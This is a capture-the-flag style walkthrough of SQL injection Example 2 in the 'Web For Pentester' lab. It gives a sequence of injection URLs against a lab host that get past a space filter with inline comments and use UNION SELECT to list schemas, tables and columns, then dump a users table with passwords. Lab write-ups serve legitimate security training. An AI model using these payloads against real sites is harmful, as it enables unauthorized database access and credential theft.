Web For Pentester Example 2 SQL Injection Solution
Web For Pentester Example 2 SQL Injection Solution.
SQL Injection (SQLi) is one of the many web attack mechanisms used by hackers to steal data. It is perhaps one of the most common application layer attacks.
Fixed Query :
http://192.168.174.132/sqli/example2.php?name=root'/**/and/**/1=1/**/%23
Find column :
http://192.168.174.132/sqli/example2.php?name=root'/**/ORDER/**/BY/**/5%23
THERE ARE 5 COLUMN Let's Find Vulnerable columns.
1,2,3 is vulnerable.
let's check database Name :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(schema_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.SCHEMATA),2,3,4,5%23
Database Name : exercises
Let's Find tables :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(table_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.TABLES/**/WHERE/**/TABLE_SCHEMA=0x657865726369736573),2,3,4,5%23
Table Name : users
Let's Find columns :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(column_name/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/WHERE/**/TABLE_NAME=0x7573657273),2,3,4,5%23
Column Names :
id
name
age
groupid
passwd
Let's Extract Data :
http://192.168.174.132/sqli/example2.php?name=root'/**/UNION/**/ALL/**/SELECT/**/(SELECT/**/GROUP_CONCAT(id,"(--Name--)",name,"(--Age--)",age,"(--GID--)",groupid,"(--Password--)",passwd/**/SEPARATOR/**/0x3c62723e)/**/FROM/**/exercises.users),2,3,4,5%23
Data :
1(--Name--)admin(--Age--)10(--GID--)10(--Password--)admin
2(--Name--)root(--Age--)30(--GID--)0(--Password--)admin21
3(--Name--)user1(--Age--)5(--GID--)2(--Password--)secret
5(--Name--)user2(--Age--)2(--GID--)5(--Password--)azerty
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